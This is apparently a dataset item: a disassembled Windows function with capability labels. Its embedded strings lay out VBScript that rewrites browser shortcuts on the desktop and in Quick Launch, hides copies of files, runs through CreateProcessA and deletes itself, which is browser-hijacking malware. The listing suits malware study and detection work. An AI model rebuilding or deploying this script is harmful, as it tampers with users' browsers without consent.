Function at 0x4042a0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42aab0
mov eax, dword fs:[0]
push eax
sub esp, 0x3b0
mov eax, dword [0x437c84]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x103
lea eax, [ebp - 0x333]
push 0
mov dword [ebp - 4], 0
push eax
mov byte [ebp - 0x334], 0
call fcn.004178d0
push 0x103
lea ecx, [ebp - 0x123]
push 0
push ecx
mov byte [ebp - 0x124], 0
call fcn.004178d0
mov edx, dword [str.WScript__]
mov eax, dword [0x430814]
mov cx, word [0x430818]
push 0xfa
mov dword [ebp - 0x22c], edx
lea edx, [ebp - 0x222]
push 0
push edx
mov dword [ebp - 0x228], eax
mov word [ebp - 0x224], cx
call fcn.004178d0
add esp, 0x24
lea eax, [ebp - 0x334]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x404388
or edi, 0xffffffff
mov dword [ebp - 4], edi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x404c8c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x404c8c
xor eax, eax
lea ebx, [ebx]
mov cl, byte [ebp + eax - 0x334]
mov byte [ebp + eax - 0x124], cl
inc eax
test cl, cl
jne 0x404390
push str.temp.vbs
lea ecx, [ebp - 0x124]
push 0x104
push ecx
call fcn.00416543
add esp, 0xc
push str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x338]
call fcn.00402fe0
push 0x1a
push str.Dim_iconarray___patharray_n
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 1
call fcn.00404d60
push 0x25
push str.Dim_tempc1___tempc2___temps__lnkfile_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x40
push str.Dim_strDesktop1_strDesktop2_strDesktop3_strDesktop4_strDesktop5_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x16
push str.Dim_wShell__oShortcut_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x2a
push str.Dim_strDesktop_strCurrentpath_strTempPath_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x62
push str.strCurrentpath__left_Wscript.ScriptFullName_len_Wscript.ScriptFullName__len_Wscript.ScriptName___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x2b
push str.Set_wShell__CreateObject__Wscript.shell___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x2f
push str.strDesktop1__wShell.SpecialFolders__Desktop___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x37
push str.strDesktop2__wShell.SpecialFolders__AllUsersDesktop___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x5b
push str.strDesktop3__wShell.SpecialFolders__AppData___MicrosoftInternet_ExplorerQuick_Launch__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x2e
push str.TempPath__wShell.SpecialFolders__Templates___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x4f
push str.patharray__array_strDesktop1_strDesktop2_strDesktop3_strDesktop4_strDesktop5__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0xb
push str.tempc1__0_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
lea edx, [ebp + 8]
push edx
lea eax, [ebp - 0x340]
push str.temps___
push eax
call fcn.00402880
push 0x430af4
push eax
lea ecx, [ebp - 0x344]
mov bl, 2
push ecx
mov byte [ebp - 4], bl
call fcn.004027a0
add esp, 0x18
mov byte [ebp - 4], 3
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp - 0x338]
call fcn.00404d60
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x344]
add eax, 0xfffffff0
or edi, 0xffffffff
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404526
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x340]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40454b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x14
push str.do_while_tempc1___3_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1c
push str.FilesTree_patharray_tempc1__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x14
push str.tempc1__tempc1__1_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 5
push str.loop_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x37
push str.Set_oFso__CreateObject__Scripting.FileSystemObject____n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x28
push str.oFso.DeleteFile_Wscript.ScriptFullName__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x6e
push str.oFso.DeleteFile_left_Wscript.ScriptFullName_len_Wscript.ScriptFullName__len_Wscript.ScriptName___start.vbs___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x13
push str.Set_oFso__Nothing_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x13
push str.set_wShellnothing_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0xd
push str.Wscript.quit_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1b
push str.Function_FilesTree_sPath___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0xca
push str.iconarray__array__IEXPLORE.EXE___Maxthon.exe___chaosu.exe___SaaYaa.exe___opera.exe___GreenBrowser.exe___CHGreenBrowser.exe___tango3.exe___TOP.exe___firefox.exe___FirefoxPortable.exe___csbrowser.exe____n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x37
push str.Set_oFso__CreateObject__Scripting.FileSystemObject____n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x25
push str.Set_oFolder__oFso.GetFolder_sPath___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x25
push str.Set_oSubFolders__oFolder.SubFolders_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1b
push str.Set_oFiles__oFolder.Files_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1a
push str.For_Each_oFile_In_oFiles__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x24
push str.if_right_oFile.Name_4__.lnk__then__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x42
push str.Set_oShellLink__wShell.CreateShortcut_sPath______oFile.Name___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0xb
push str.tempc2__0_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x15
push str.do_while_tempc2___12_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x41
push str.If_Not_InStr_1_oShellLink.TargetPath_iconarray_tempc2__1_0_Then_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x30
push str.if_InStr_1_oShellLink.Arguments_temps_1_0_then_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1a
push str.FindFileName__oFile.Name_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x26
push str.oFile.Copy_TempPath___FindFileName_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x12
push str.oFile.delete_True_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x37
push str.oFso.getfile_TempPath__FindFileName_.Attributes__0_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x43
push str.Set_oShellLink1__wShell.CreateShortcut_TempPath__FindFileName__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1e
push str.oShellLink1.Arguments__temps_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x12
push str.oShellLink1.Save__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1a
push str.Set_oShellLink1__Nothing_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x3c
push str.newfileName__left_FindFileName_len_FindFileName__4__.exe__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x41
push str.oFso.CopyFile_TempPath__FindFileName_sPath_____newfileName_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x3c
push str.Set_TemplatesFile__oFso.getfile_TempPath__FindFileName__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x15
push str.TemplatesFile.delete_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1c
push str.Set_TemplatesFile__Nothing_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x35
push str.set_oFile1___oFso.getfile_sPath_____newfileName__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1b
push str.oFile1.name__FindFileName_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x15
push str.oFile1.Attributes_1_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x15
push str.Set_oFile1__Nothing_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 9
push str.Exit_do__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 7
push str.end_if_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 7
push str.end_if_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x15
push str.tempc2__tempc2__1__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 5
push str.loop_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1a
push str.Set_oShellLink__Nothing__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 7
push str.end_if_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 5
push str.Next_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x16
push str.Set_oFolder__Nothing_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1b
push str.Set_oSubFolders__Nothing__n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x13
push str.Set_oFso__Nothing_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0xd
push str.End_Function_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1002
lea ecx, [ebp - 0x124]
push ecx
mov bl, 4
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], bl
call fcn.00411419
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x338]
push edx
lea ecx, [ebp - 0x368]
call fcn.00411030
lea ecx, [ebp - 0x368]
call fcn.004111ed
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], bl
call fcn.0041122b
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x33c]
mov dword [ebp - 4], 1
call fcn.00402fe0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x334]
lea edx, [ebp - 0x124]
lea ebx, [ebx]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x404970
push str.start.vbs
lea ecx, [ebp - 0x124]
push 0x104
push ecx
call fcn.00416543
add esp, 0xc
push 0x15
push str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x338]
call fcn.00403280
push 0xb
push str.Dim_wShell_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x2b
push str.Set_wShell__CreateObject__Wscript.shell___n
lea ecx, [ebp - 0x338]
call fcn.00404d60
lea edx, [ebp - 0x33c]
push edx
lea eax, [ebp - 0x344]
push str.wShell.Run__
push eax
call fcn.00402880
push str.__0_True_n
push eax
lea ecx, [ebp - 0x340]
mov bl, 8
push ecx
mov byte [ebp - 4], bl
call fcn.004027a0
add esp, 0x18
mov byte [ebp - 4], 9
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [ebp - 0x338]
call fcn.00404d60
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x340]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404a35
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x344]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404a5a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x15
push str.set_wShell__nothing_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0xd
push str.Wscript.quit_n
lea ecx, [ebp - 0x338]
call fcn.00404d60
push 0x1002
lea ecx, [ebp - 0x124]
push ecx
mov bl, 0xa
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], bl
call fcn.00411419
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x338]
push edx
lea ecx, [ebp - 0x368]
call fcn.00411030
lea ecx, [ebp - 0x368]
call fcn.004111ed
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], bl
call fcn.0041122b
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x22c]
push 0x104
push ecx
mov dword [ebp - 4], 7
call fcn.00416543
push 0x430504
lea edx, [ebp - 0x22c]
push 0x104
push edx
call fcn.00416543
push 0x44
lea eax, [ebp - 0x3bc]
push 0
push eax
call fcn.004178d0
add esp, 0x24
xor eax, eax
lea ecx, [ebp - 0x354]
push ecx
lea edx, [ebp - 0x3bc]
push edx
push eax
push eax
push eax
push eax
push eax
push eax
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], eax
mov dword [ebp - 0x348], eax
lea eax, [ebp - 0x22c]
push eax
push 0
mov dword [ebp - 0x3bc], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404b82
mov ecx, dword [ebp - 0x354]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0x354]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x350]
push eax
call esi
call fcn.00401820
mov byte [ebp - 4], 1
test eax, eax
mov eax, dword [ebp - 0x33c]
mov edx, edi
je 0x404bfe
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404bb0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x338]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404bd5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], edi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x404bf4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x404c8e
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404c17
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x338]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404c3c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], edi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x404c8c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x404c8c
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00415888
mov esp, ebp
pop ebp
ret 4